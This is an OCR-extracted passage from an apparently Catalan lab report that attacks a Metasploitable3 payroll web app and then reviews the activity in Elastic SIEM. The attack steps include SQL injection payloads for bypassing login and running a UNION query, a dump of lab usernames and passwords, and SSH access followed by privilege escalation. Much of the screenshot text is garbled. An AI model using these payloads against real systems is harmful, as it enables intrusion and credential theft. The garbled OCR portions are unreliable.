SIEM / D           Image: Second conditions           Image: Second conditions           Image: Second conditions           Signial conditions           Showing: 2 signing           1           1           1           1	Detections / Signals (S ch Iter COUNL mais	Rules run periodically a	nd detect signals within the t	ipecified time frame.	real_irc	ed_3281_ ≝ ∨ Last 30 m	_backdoo.	۲ Stack by signa	Show dates	ं R ore	© E tefresh × 80 0	3
■         SIEM / D           ■         ✓         Searc           (*)         -         + Add fill           Signal         C         -           10         -         + Add fill           2         -         -           16         -         +           14         -         -           13         -         -           0.6         -         -	Detections Signals (S ch Itter COUITL mais	Rules run periodically a	nd detect signals within the t	ipecified time frame.	real_irc	ed_3281_ ≝ ∨ Last 30 m	_backdoo.	r Stack by signa	Show dates	ं R ore	© 5 Refresh × 80 0	
B         SIEM / D	Detections Signals (S ch Itter COUNT mais	Rules run periodically a	nd detect signals within the t	ipecified time frame.	real_irc	ed_3281_	_backdoo.	r Stack by signa	Show dates	C R	C S efresh × 80 0	
B         SIEM / D           Image: Search of the searc	Detections / Signals (S ch Itter COUNT COUNT COUNT COUNT	Rules run periodically a	od detect signals within the s otura 93: Si	pecified time frame. gnal d'uni en se	real_irc	ed_3281_	_backdood	r Steck by signa	Show dates	ं R ore	Efresh 80 0	
B         SIEM         D           Image: Search of the sear	Detections / Signals (S ch Iter COUINE mais 8-4-	Rules run periodically a	04 detect signals within the optimal detect signals within the optimal optis optimal optimal optimal optimal optimal optimal optimal o	pecified time frame. gnal d'unn et to the second se	real_irc	ed_3281_	_backdood	r Stack by signa	Show dates	ି ମ ore 17.15	C 5 Effective	
B         SIEM ∫ D           Y         Search           Image: Search         Search	Detections / Signals (S ch Iter COUIII COUIII Detections / Signals (S	Rules run periodically a CCAJ	04-15 16.55	pecified time frame. gnal d'unn et al. (1990) et	real_irc	ed_3281_	_backdood	Г Stack by signa 17.10 Q	Show dates I.rule.risk_sco 04-15 ppen signals	C R ore 17.15 Closed s	C     C	
SIEM / D           Image: Signals           Signals           Showing: 2 sign	Detections / Signals (S ch Iter COUIIII COUIII COUIII COUIII COUIII COUI	Rules run periodically a Cap IEM Detections) 5 16 50 6 @ Close selected [	04 detect signals within the optimal det	pecified time frame. gnal d'unn 66-15 1720	real_irc	ed_3281_	_backdoo.	r Stack by signa 17.10	Show dates I.rule.risk_sc 04-15 pen signals	Closed s	C 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	
SIEM / D           Image: Signal c           Signals           Signals           Showing: 2 sign	Detections / Signals (S ch Itter COUNIL mails 64-1 64-1 64-1 64-1 64-1 64-1 64-1 64-1	Rules run perrodically a Cap IEM Detections) 516.50 5 16.50 5 16.50	04-15 1655 2 Select al 2 signals Version	pecified time frame. gnal d'unn 04-15 1720 Method	real_irc	Cd_3281 Last 30 m 04-15 17:05 Risk Score	_backdood	r Stack by signa 17.19 event.act	Show dates It.rule.risk_sc 04-15 pen signals	C R ore Closed s event.cate	C     C	
SIEM / D           Image: Second Seco	Detections / Signals (S ch Itter COUNT mais Base Selected 0 signal @linestamp ↓ > lett 15,2020 @17	Rules run periodically a Cap IEM Detections) IEM Detections	04-15 1655 2 Select al 2 signals Version Ruby  2	pecified time frame. gnal d'unn 04-15 1720 Method Query	Severity	Cd_3281 Last 30 m 04-15 17:05 Risk Score  80	_backdood	r Stack by signa 17.19 event.act process.	Show dates It.rule.risk_sc 04-15 pen signals ion 	C R R orre Closed s event.cate	C     C	

## Captura 92: Regla de detecció unreal\_ircd\_3281\_backdoor

	Capi	8.2.2.6.1 tura 94: We	.2. eb servidor	Aplicació p
<u>A</u> rchivo <u>E</u> ditar	<u>V</u> er Hi <u>s</u> torial	<u>Marcadores</u>	Herramien <u>t</u> as	Ay <u>u</u> da
Index of /		× +		
← → ⊂	۵		🛈 🔏 192.	168.43.103
Index	of /			
Nam	e <u>Las</u>	<u>t modified</u>	<u>Size</u> <u>Descr</u>	<u>iption</u>
chat/	2018-	07-29 15:18	3 -	
Caral/	2011-	07-27 22:17	7 -	
payroll_ar	<u>op.php</u> 2018-	07-29 15:18	3 1.7K	
phpmyadr	<u>min/</u> 2013-	04-08 14:06	5 -	

Aplicació payroll\_app.php

Apache/2.4.7 (Ubuntu) Server at 192.168.43.103 Port 80

# Captura 95: Pàgina login del payroll\_app.php

<u>A</u> rchivo <u>E</u> ditar <u>V</u> er Hi <u>s</u> torial <u>M</u> arcadores Herramien <u>t</u> as Ay <u>u</u> da	- 0	$\times$
192.168.43.103/payroll_app.php × +		
$\leftarrow \rightarrow \mathbb{C}$	III\ 🗉 🔹	≡
Payroll Login		
User Password OK Captura 96: Prova d'SQL Injection		
Archivo Editar Ver Historial Marcadores Herramientas Ayuda 192.168.43.103/payroll_app.php × +		×
$\leftarrow \rightarrow \mathbb{C}$	\ 🗉 🌒	≡
User     ' or 1 = 1#       Password		

Archivo Editar Ver Historial Marcado 192.168.43.103/payroll_app.php X								
← → ♂ ☆	🖲 🔏 192.168.43.103/payroll_app.php					···· ⑤ @@ ①	I\ 🗉 🔅	≥ ≡
		W	elcome, ' o	r 1=1#				^
		Username	First Name	Last Name	Salary			
		leia_organa	Leia	Organa	9560			
		luke_skywalker	Luke	Skywalker	1080			- 1
		han_solo	Han	Solo	1200			
		artoo_detoo	Artoo	Detoo	22222			
		c_three_pio	С	Threepio	3200			
		ben_kenobi	Ben	Kenobi	10000			
🕞 🗘 Inspector 🕞 Consola 🕞 I	Depurador 🕂 Red {} Editor de estilos 🖓 Re	endimiento 🕕 Memoria 🖯	Almacenamiento	+ Accesibilidad	t	1	Û	x
1 Filtrar las URL		11 Q	Todos HTM	VIL CSS JS XHR	Tipografía Im	nágenes Medios WS Otros 🗌 Registros persistentes 🗋 Desactivar caché	Sin limitación	• HAR •
Estado Método Dominio	Archivo	Causa	Tipo	Transferido	Tamaño	E Cabeceras Cookies Parámetros Respuesta Tiempos		
200 POST 🔏 192.168.43.103	payroll_app.php	document	html	731 B	1.25 KB	🗑 Filtrar los parámetros de la petición		
GET 📈 192.168.43.103	favicon.ico	img	html	cacheado	288 8	Pato de formulario     user "-tor-11-19"     passendo "     gróc"     gróc"     v Contenido de la petición		
O 2 solicitudes 1,54 KB / 731 B transfe	erido Finalizado: 42 ms DOMContentLoaded: 23 ms	load: 37 ms				1 user=%27+or+1%3D1%23&password=&s=0K		

Captura 97: Accés a l'aplicació sense contrasenya ni usuari

Captura 98: Consulta de relació de taules i columnes

Archivo Ed	litar <u>Y</u> er Historial	Marcadores Herramientas	Ayyda									- 0	×
192.168.43.	103/payroll_app.php	× +											
	C 🕜	0 🔏 192.	168.43.103/payroll_app.	php						··· 🗵 🚧 🖒		II\ 🖸 🌒	≡
Welco	ome, ' OR 1	=1 UNION SEI	LECT 1,1,1,C	ONCAT(TAE WHERE	LE_NAME TABLE_S	C," - ", Coh CHEMA =	umn_n DATA	ame," - ",D BASE()#	Data_type) F	ROM informati	on_schem	a.columi	ns
			ſ	Username	First Name	Last Name		Salary					
				leia_organa	Leia	Organa	9560						
				luke_skywalker	Luke	Skywalker	1080						
				han_solo	Han	Solo	1200						
				artoo_detoo	Artoo	Detoo	22222						
				c_three_pio	С	Threepio	3200						
				ben_kenobi	Ben	Kenobi	10000						~
	nspector D Consol	la Depurador 📬 Re	d {} Editor de estilos		Memoria 🗄 Alma	cenamiento  🕇 A	ccesibilidad					£1.	×
1 V RM	trar las V/RL				11 9 0	Todos HTML CSS	JS XHR	Tipografía Imágenes	Medios WS Otros	Registros persistentes	Desactivar caché	Sin limitación \$	HAR \$
Estado	Método	Dominio	Archivo				Causa		Tipo	Transferido	Tamaño	0 ms	
200	POST	<b>%</b> 192.168.43.103	payroll_app.php				docume	ent	html	889 B	1.75 KB	5 ms	
404	GET	K 192.168.43.103	favicon.ico				ing		html	cacheado	288 B	0 mil	63 - L

O 2 solicitudes 2.03 KB / 889 B transferido Finalizado: 48 ms DOMContentLoaded: 24 ms load: 43 ms

Captura 99: Resultat de la relació de taules i columnes

i.				
	1	1	1	users - username - varchar
	1	1	1	users - first_name - varchar
	1	1	1	users - last_name - varchar
	1	1	1	users - password - varchar
	1	1	1	users - salary - int

leia_organa	help_me_obiwan
luke_skywalker	like_my_father_beforeme
han_solo	nerf_herder
artoo_detoo	b00p_b33p
c_three_pio	Pr0t0c07
ben_kenobi	thats_no_m00n
darth_vader	Dark_syD3
anakin_skywalker	but_master:(
jarjar_binks	mesah_p@ssw0rd
lando_calrissian	@dm1n1str8r
boba_fett	mandalorian1
jabba_hutt	my_kinda_skum
greedo	hanSh0tF1rst
chewbacca	rwaaaaawr8

# Captura 100: Relació usuari i contrasenya

Captura 101: Accés mitjançant ssh amb l'usuari leia\_organa

🛃 leia_organa@metasploitable3-ub1404: ~	_		$\times$
<pre>root@kali:~# ssh leia_organa@192.168.43.103 The authenticity of host '192.168.43.103 (192.168.43.103)' can't ECDSA key fingerprint is SHA256:ZCiQJrQYzqBgg8eIDHF9ga/fK7RSREYOI Are you sure you want to continue connecting (yes/no/[fingerprint Warning: Permanently added '192.168.43.103' (ECDSA) to the list of leia_organa@192.168.43.103's password: Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)</pre>	be est WUGbek ])? ye of know	ablish dng8. s n host	ed.
* Documentation: https://help.ubuntu.com/			
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in th individual files in /usr/share/doc/*/copyright.	ne		
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted applicable law.	l by		
leia_organa@metasploitable3-ub1404:~\$ 🗌			
			$\sim$

Captura 102: Elevació de privilegis de leia\_organa



## Captura 103: Finestra Overview

SIEM / Overview									٥		
🗓 🗸 Search		KQL	₿ ✓ Last 60 m	ninutes		Sh	ow dates	C'R	tefresh		
🐑 – + Add filter											
Recent timelines 🗶 🗹	Cignal acumt										
You haven't favorited any timelines yet. Get out there and start threat hunting!	Stowing: 0 signals			Stack by	signal.rule.th	nreat.tactic.name	~	View si	gnals	J	
View all timelines											
Security news			No data to display								
Have SIEM questions?											
Join our growing community of Elastic SIEM users to discuss the configuration											
and use of Elastic SIEM for threat detection and response.											
Adversary tradecraft 101: Hunting	External alert count			10	Stack by	event.module	~	View a	lerts		
for persistence using Elastic	Showing: 0 external alerts							-			
2020-03-24											
In this two-part blog series, we set out to help security practitioners improve their visibility into offensive persistence techniques.			All values returned a	zero							
New to Elastic SIEM? Take our on-											

Captura 104: Autenticacions del host

🕽 🗸 Search				KQL	🛗 🖌 🛛 Last 60 mi	nutes		Show dates	් Refres
) - + Add filter									
Authentications									
2 1.8								<ul> <li>auth</li> </ul>	ntication_succes:
1.6 — 1.4 — 1.2 —									
1									
0.4 - 0.2 -									
04-15 18:10 04-15 18:15	04-15 18:20 0	4-15 18:25 04	I-15 18:30 04-15 18:35	04-15 18:40 04-15 18:45	04-15 18:50 04-15 18:5	5 04-15 19:00	04-15 19.05		
Authentications									
Showing: 1 user									
User	Successes	Failures	Last success	Last successful	source	Last failure		Last failed source	
leia_organa	2	0	26 minutes ago	192.168.43.14	2				

## Captura 105: Processos no comuns

Authentications Uncommon process	ses Events External alerts		
Uncommon processes			מ
Showing: 6 processes Process name	Instances Last command	Last user	
sleep	1 sleep +1 More	root	
su	1 su +1 More	root	
sudo	1 sudo +2 More	root	
bash	2   -su	root	
sshd	3   sshd: leia_organa@pts/2	[leia_organa	
vi	3    vi +1 More	root	
Rows per page: 10 ${\sim}$			$\langle 1 \rangle$

Captura 106: Informació de Network

Image: control of the second of the secon				KOL 📾 😔	Last 60 minutee		Shou	v datec	C' Re	fresh
Source IPS       Destination IPS         ************************************	🗑 — + Add filter				Last of minutes		310	wates		nesn
Source PLS       Destination PLS         1000 PLS       1000 PLS										
Start 10       Description	Source IPs			Destinatio	n IPs					
Internation	Showing: 17 IPs			Showing: 25 IPs						
1000000000000000000000000000000000000	IP Domain Autonomo	us system Bytes in Byte $\psi$ Flow	s Destina	IP	Domain	Autonomous system	Byt $\downarrow$ By	tes out	Flows Sou	urce
1010000000000000000000000000000000000	192.168.43.100 — —	12.2GB 22GB 51	8 8	192.168.43.100			55.7GB	13.5GB	233	4
Internation       - <td< td=""><td>192.168.43.101</td><td>4.4GB 21.4GB 1</td><td>3 6</td><td>192.168.43.103</td><td>-</td><td></td><td>1.4GB</td><td>6.2GB</td><td>31</td><td>3</td></td<>	192.168.43.101	4.4GB 21.4GB 1	3 6	192.168.43.103	-		1.4GB	6.2GB	31	3
1000040         -         -         1.00         0	192.168.43.103	3.2GB 13.8GB	5 1	127.0.0.1	localhost		706.8KB 7	62.7KB	3	2
1010000000000000000000000000000000000	192.168.43.1 — —	1.7MB 3.1MB 10	5 5	8.8.8.8 us US	_	_	615.7KB	1.2MB	325	3
10100100       -       -       000000000000000000000000000000000000	192.168.43.142 — —	989.6KB 867.9KB	2 2	192.168.43.255			578.3KB	0B	4	3
Internation       Internation       Internation       Internation       Internation       Internation         Source countries       Destination countries       Busing Source       Internation       Internaternation       Internation       Int	172.17.0.1	0B 228.1KB	3 2	172.17.255.255	-	_	227.4KB	0B	2	1
1       -       8308       4.708       5       1         Res per page 10 ~       (1) 2       1       Res per page 10 ~       (1) 2       2         Source countries       Res per page 10 ~       (1) 2       2	172.28.128.3	0B 109KB	3 Z 1 1	172.28.128.255			126.6KB	OB	2	1
Respersage 10 v     (122)     Respersage 10 v     (122)       Source countries Burge Source     Destination countries Burge Source     Destination countries Burge Source       Staf. Menow 1920/06.010     Staf. Menow 1920/06.010     Image Source       Staf. Menow 1920/06.010     Total Source IP       Staf. Menow 1920/06.010     Image Source     Image Source       Staf. Menow 1920/06.010     Total Source IP       Staf. Menow 1920/06.010     Image Source     Image Source       Staf. Menow 1920/06.010     Total Source IP       Staf. Menow 1920/06.010     Image Source     Image Source       Staf. Menow 1920/06.010     Total Source IP       Staf. Menow 1920/06.010     Image Source     Image Source       Image Source     Image Source     Image Source	ot	39.5KB 41.7KB	5 1	192.168.40.255			80.1KB	OB	1	1
	Rows per page: 10 🗸		1 2 >	Rows per page: 10	) ~				1 2 3	3 >
Band Decision Captura 107: Decision Source LDR Decision Control Source L	Source countries			Destinatio	n countrie	es				
Start Revers: 18288.43.432       Image: Start Star	Showing: 0 Countries			Showing: 4 Countries						
SEM: Network: 192308-4342       Image: Comparison of the second of the sec		Contur	a 107	Datall agur						
SMM. Hennonk 1922884.43142       Image: Smarther of Smarther o		Captur	a 107. I	Detail Sour	ce IP					
Note:       Note: <th< td=""><td>SIEM / Network / 192.168.43.142</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>(</td><td>0</td></th<>	SIEM / Network / 192.168.43.142								(	0
• Addition         • • Addition         • • Addition         • • Addition         • • • Addition         • • • • • • • • • • • • • • • • • • •	🗄 🗸 Search			KQL 🛗 🗸	Last 60 minutes		Shov	w dates	ି Re	fresh
Notation         Automatic system         Bytes is bytes out \ Filter           102:108.43.254         -         -         0.00000000000000000000000000000000000	🗊 — + Add filter									
Prima         Automass system         Special         There           102.104.43.13         -         -         0.03.000000000000000000000000000000000										
100.1 0.4.1 0.0       -       -       00.3 0       01.00       1         190.1 0.4.2 54       -       -       0.0 3       01.00       1         190.1 0.4.2 54       -       -       0.0 3       01.00       1         Source countries       Brew of tess of tess       Destination countries       Destination countries         Brew of tess of tess       No term brow       Source tess       Destination countries         User for the tess of tess       No term brow       Source tess       Destination countries         User for the tess of tess       No term prove       Source tess       Destination countries         User for the tess of tess       Destination countries       Destination countries       Destination countries         User for the tess of tess       Destination countries       Destination countries       Destination countries         User for the tess of tess       Destination countries       Destination countries       Destination countries         User for the tess of tess       Destination countries       Destination countries       Destination countries         User for the tess of tess       Destination countries       Destination countries       Destination countries         User for the tess of tess       Destination countries       Destination countries       Dest	IP Domain Autonomo	us system Bytes in Bytes out ↓	Flows	IP	Domain	Autonomous system	Bytes in $\downarrow$	Bytes o	ut	Flows
1902.198.4354       -       -       8/3       1         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries         Image: Source countries       Image: Source countries       Image: Source countries       Image: Source countries	192.168.43.1 — —	762.7KB 705.7KB	2	192.168.43.103			859.3KB	981.6	KB	1
Source countries         Destination countries         Dest	192.168.43.254 — —	0B 1.2KB	1	192.168.43.254			8.7KB	81	KB	1
Source countries  Source countries  Source countries  Source countries  Destination countri			< 1 →						< 1	1 >
Source countries  Towng of counts  Towng										
Source countries         Destination countries         Destination countries         Contry Bytes in Bytes on 4 No terms found         No terms found         No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Bytes in 4 Bytes on 4 No terms found         Bytes in 4 Bytes on 4 No terms found         Contry Bytes in 4 Bytes on 4 No terms found         Bytes in 4 Bytes on 4 No terms found         Bytes in 4 Bytes on 4 No terms found         By										
Storeing & Counties     Overy Pyte in Py	Source countries			Destinatio	n countrie	es				
Contry         Parts may and any	Showing: 0 Countries			Showing: 0 Countries						
Country       Bytes in       Option of up and up an										
Users   Browng tour   User *   Decement code   User *   Decement code   Itelrgana   Ittl   Decement code   Itelrgana   It										on IPs
Users Dowing Law User N Decrement could an off open Decrement could Decrement	Country Bytes in By	rtes out ↓ Flows	Source IPs	Country	Bytes in	↓ Bytes out No items found	t	Flows	Destinati	
Users Storing 1 tarr User 1 10 0 0roup name 0roup 10 Decument count Inst.organa 1111 - 1 Captura 108: Timeline de l'URL query SteM / Network / 192.188.43.103 SteM / Network / 192.188.43.103 SteM / Network / 192.188.43.103 FTTP Requests Storing 25 majors Marting 1 112 10 10 10 10 10 10 10 10 10 10 10 10 10	Country Bytes in By No iten	rtes out ↓ Flows	Source IPs	Country	Bytes in	↓ Bytes out No items found	t	Flows	Destinati	
Steers Steers 1 teers User ↑ 10 0 0roup mane Group 10 Decument count liet.crgans 1111 - 1 Captura 108: Timeline de l'URL querys SteM Network 192188.43.03 SteM StePastal 192188.43.03 SteM StePastal 192188.43.03 SteM 19218	Country Bytes in By No item	rtes out 🧄 Flows	Source IPs	Country	Bytes in	✓ Bytes out No items found	t	Flows	Destinati	$\langle \rangle$
Bit of the provide an Off query       Description       The high level status of the transaction for example, HTTP, MySOL, Reds, or RUAD of Thorn's General Content of the protocy.         HTTP Requests stream 192 168.4.3103       Image: Content of the transaction for example, HTTP, MySOL, Reds, or RUAD of Thorn's General Content of the protocy.       Notes of the transaction for example, HTTP, MySOL, Reds, or RUAD of Thorn's General Content of the protocy.         Method       Tomain       The high level status of the transaction. The way to compute this value depends on the protocy.       The high level status of the transaction. The way to compute this value depends on the protocy.         Inter       Image: Content of the transaction of the transaction. The way to compute this value depends on the protocy.       The high level status of the transaction. The way to compute this value depends on the fore sample, HTTP, MySOL, Reds, or RUAD of Thorn's General Content of the transaction.         Inter       Image: Content of the transaction of the transaction of the transaction of the transaction of the transaction.       The high level status of the transaction.         Inter       Image: Content of the transaction of the transaction.       Image: Content of the transaction of the transaction.       The high level status of the transaction of the transaction of the transaction of the transaction.         Inter       Image: Content of the transaction of	Country Bytes in By No iter	tes out ↓ Flows	Source IPs	Country	Bytes in	Bytes out No items found	t	Flows	Destinati	< >
Use A     D     Group mans     Group Date     Group Date     Decementation       Letto.organs     1111     -     -     -     - SEM Network 192.664.43103 Stem Network 192.166.43103     Intitled Timeline     Description     Notes O     O     Last 120 minutes     Show dates     Refree HTTP Requests Showing: 25 requests Method Get 192.166.43103 192.166.43103 192.166.43103 192.166.43103 192.166.43103 192.166.43103 192.166.43103 192.166.43103 19	country Bytes in By No iter	tesout↓ Flows s found	Source IPs	Country	Bytes in	✓ Bytes out No items found	t	Flows	Destinati	< >
Itela.organa       Ittl	Country Bytes in By No iter Users Showing: 1 user	tes out ↓ Flows	Source IPs	Country	Bytes in	✓ Bytes out No items found	¢	Flows	Destinati	< >
SEM / Network / 192188.43.03         Image: Search	Country Bytes in By No iter Users Showing: 1user	tes out ↓ Flows Is found	Source IPs	Country	Bytes in	✓ Bytes out No items found	t.	Flows	Destinati	< >
SEM Network / 192.68.43.03       Image: Search       I	Country Bytes in By No iter USERS Showing: 1 user User ↑ ID Ibilic.organa   1111	tes out ↓ Flows hs found Grou	Source IPs	Country	Bytes in	✓ Bytes out No items found	t	Flows	Destinati	< >
Y       Search       Initial Timeline       Description       Initial Show dates       C Refree         Y       Search       Initial Timeline       Description       Initial Show dates       C Refree         HTTP Requests       Initial Timeline       Initial Timeline       Initial Show dates       C Refree         Browning: 25 requests       Initial Timeline       Initial Timeline       Initial Show dates       C Refree         Image: Street to build an OR query         Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query         Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query         Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query         Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to build an OR query         Image: Street to build an OR query       Image: Street to build an OR query       Image: Street to buil	Country Bytes in By No iter UserS Showing: 1 user User↑ ID Ieia.organa   1111	ter out ↓ Flows his found Groo — Captura 10	source IPs	or eline de l'U	Bytes in oup ID RL quer	Bytes out No items found		Flows	Destinati	< >
Image: Search       X       Image: Comparison of the search of th	Country Bytes in By No iter Users Showing: Laser User 1 ID [leia_organa 1111	ter out ↓ Flows Ins found Grou — Captura 10	source IPs	country or eline de l'U	Bytes in oup ID RL quer	y Bytes out No items found		Flows	Destinati	< >
Method         Comain           get         192-168.43.103           get	Country         Bytes in         Bytes in         Bytes in         Bytes in         No iter           Users         Showing: 1 user         User ↑         ID         Inter         I	ter out ↓ Flows his found Grou — Captura 10	source IPs	country or eline de l'U	Bytes in sup ID RL que!	Bytes out     No items found		Flows	Destinati	< >
Method         Comain         Image: Search         KOL         Raw event           get         192.168.43.103         Image: Search	Country     Bytes in     By       No iter       USERS       Showing: 1 user       User ↑       In       SIEM Network       192.168.43.103	eter out ↓ Flows his found 	source IPs	Gr Gr Country Gr Country Count	Bytes in oup ID RL quer	Bytes out No items found	t	Flows Show da	Destination of the second seco	< >
Component to build an OR quary         KOL         Raw event           Method         Comain         Image: Columns         Imag	Country         Bytes in         Bytes in         Bytes in         Bytes in         Bytes in         No iter           UserS         Showing: 1 user         User ↑         ID         IIII1           Ielik_organa         1111         IIII1         IIII1           SIEM / Network / 192.168.43.103         IIII1         IIII1           SIEM / Network / 192.168.43.103         IIII1         IIII1	ter out ↓ Flows his found 	source IPs up name Description	or eline de l'U	Bytes in sup ID RL quer	Bytes out No items found		Flows Show da	Destination of the second seco	< >
Common 25 requests         Note         Common 25 requests         Common 25 requests <td>Country         Bytes in         Bytes in         Bytes in           No iter         No iter           Users         Showing: 1 user           User ↑         ID           [leia.organa         1111           SIEM / Network / 192.168.43.103         1111           Y ∨         Search           →         + Add filter</td> <td>ter out ↓ Flows his found </td> <td>pp name pescription pr ×</td> <td>country or elline de l'Ut</td> <td>sup ID RL quer</td> <td>Bytes out No items found</td> <td>t</td> <td>Flows Show da</td> <td>Destination of the second seco</td> <td>count       1</td>	Country         Bytes in         Bytes in         Bytes in           No iter         No iter           Users         Showing: 1 user           User ↑         ID           [leia.organa         1111           SIEM / Network / 192.168.43.103         1111           Y ∨         Search           →         + Add filter	ter out ↓ Flows his found 	pp name pescription pr ×	country or elline de l'Ut	sup ID RL quer	Bytes out No items found	t	Flows Show da	Destination of the second seco	count       1
HTTP Requests         Comman         Comman <th< td=""><td>Country         Bytes in         Bytes in         Bytes in         Bytes in         Bytes in         No iter           Users         Showing: 1 user         User ↑         ID         Itela.organa         1111           SIEM / Network / 192.168.43.103         SiEM / Network / 192.168.43.103         Itela.organa         1111           Y&lt;</td>         Search         Itela.organa         Itela.organa         Itela.organa         Itela.organa</th<>	Country         Bytes in         Bytes in         Bytes in         Bytes in         Bytes in         No iter           Users         Showing: 1 user         User ↑         ID         Itela.organa         1111           SIEM / Network / 192.168.43.103         SiEM / Network / 192.168.43.103         Itela.organa         1111           Y<	ter out ↓ Flows Its found	pr name	country or eline de l'U	Bytes in oup ID RL que!	Bytes out     No items found		Flows Show da	Destination of the second seco	< >
Showing: 25 requests         Comman         Comman         Comman         Image: Comman & Comman & Comman         Image: Comman & Comman         Image: Comman & Comma & Comman & Co	Country         Bytes in         Bytes in         Bytes in         Bytes in         No iter           Users         Showing: 1 user         User ↑         ID         Idea.organa         1111           SIEM / Network / 192.168.43.103         Iter         Idea.organa         1111           SIEM / Network / 192.168.43.103         Iter         Idea.organa         Iter           Image: Provide the state of the	eter out ↓ Flows Ins found Ins foun	source IPs c > ap name Description p*× rch	country or elline de l'Ul	Bytes in sop ID RL que!	Bytes out No items found	t	Flows Show da	Destination of the second seco	Count 1 2 Refr
Method         Column & (interstamp 4)         message         event.action         isource         isource           [get.]         192.168.43.103         [get.]         192.168.43.103         [get.]         192.168.43.103         [get.]         The high level status of the transaction. The way to compute this value depends on of flows.         [get.]         [get.]         192.168.43.103         [get.]	country         Bytes in         By           No iter         No iter           Users         Showing: Tuser           User ↑         ID           [leia_organa         [1111           SIEM / Network / 192.168.43.103         [1111           ②         Search           ③         + Add filter           HTTP Requests         [111]	etes out ↓ Flows Is found Flows F	source IPs	Country	Bytes in sup ID RL quer	Bytes out No items found	t	Flows Show da	Destination	count       1       2       1       2       1       2       1       2       2       2       2       2       2       2       2       2       3       2       2       2       2       2       2       2       2       3       2       3       2       3       3       3       4
Iget         192.168.43.103	country     Bytes in     By       No iter       Users       Showing: 1user       User ↑       iela.organa       SIEM / Network / 192.168.43.103       If ∨       Search       →       + Add filter	etes out ↓ Flows Is found Flows F	source IPs ap name Description pr × pr k filter	Country Gr eline de l'U	Bytes in map ID RL quer	Bytes out No items found		Flows Show da	Destination	< >
Iget         192.186.43.103	country         Bytes in         Bytes in         Bytes in         No iter           Users         No iter         Image: Comparison of the second of	Grou a found Grou Captura 10 Captura	source IPs	Country	Bytes in outp ID RL quer	Bytes out No items found	t 	Flows Show da	Destinati Document	< > count 1 C C C C C C C C C C C C C C C C C C
jet         1102.168.43.103         protocol, out the texturn as a mean group experiment of the photocol.           jet         1102.168.43.103 <ul> <li>thype</li> <li>thtp</li> <li>The type of the transaction (for example, HTTP, MySQL, Redis, or RUM) or "flow" in of flows.</li> </ul> jet         1192.168.43.103 <ul> <li>titype</li> <li>thtp://102.168.43.103</li> <li>get</li> <li>jet.example, HTTP, MySQL, Redis, or RUM or "flow" in of flows.</li> <li>titut/on an integrating an expension of the photocol.</li> <li>titut/on an integrot photocol.</li> <li>titut/on an</li></ul>	country     Bytes in     Bytes       No iter       Users       Showing: 1user       User ↑       Ieia_organa       SIEM Network / 192168.43.103       Y<	eter out ↓ Flows Is found Flows F	source IPs ip name Description p* × filter m if iter i 2	Country	Bytes in outp ID RL quer	Bytes out No items found	t 	Flows Show da	Destinati	< > count 1 CO COUNT COUNT CO
Iget         1102.168.43.103         t sype         mup         of fows.           Iget         1102.168.43.103         t lut.domain         192.168.43.103         of fows.           Iget         1102.168.43.103         t lut.domain         192.168.43.103         provide         provide           Iget         1102.168.43.103         t lut.domain         192.168.43.103         provide	country         Bytes in         By           No iter         No iter           USERS         Showing: 1user           User ↑         ID           Ieia_organa         1111           SIEM Network / 192.168.43.103         1111           Y<	ter out ↓ Flows Is found Flows Fl	source IPs ip name Description p*× if iter if iter	Country	Bytes in oup ID RL quer	Bytes out No items found  Vo items found  U  U  U  U  U  U  U  U  U  U  U  U  U	t n	Flows Flows Show da KQ KQ hostnar	Destinati	< > Count 1 Count 1 Count Coun
Instrument         Instrum	country         Bytes in         Bytes in           No iter         No iter           Users         Showing: 1 user           User ↑         ID           [leia_organa         1111           SIEM / Network / 192.168.43.103         1111           SiEM / Network / 192.168.43.103         1111           Y         Search         1111           D         + Add filter         1111           HTTP Requests         Showing: 25 requests         112.168.43.103           get         192.168.43.103         112.168.43.103	ter out ↓ Flows Is found Grow Captura 10 Captura 10 × ☆ Untitled Timeline (a) Intestin "payroll_app.ph Drop here to build an OR query (a) Filter ∨ @ > Sea ⓒ - + Add 1 I Columns @timestamp ↓ ⓒ # Isource port I status	source IPs	Country	Bytes in aup ID	Bytes out No items found  No items found  U  U  U  U  U  U  U  U  U  U  U  U  U	t n action. The way	Flows	Destinati	< > Count 1 Count 1 Count 1 Count Count Count 1 Count
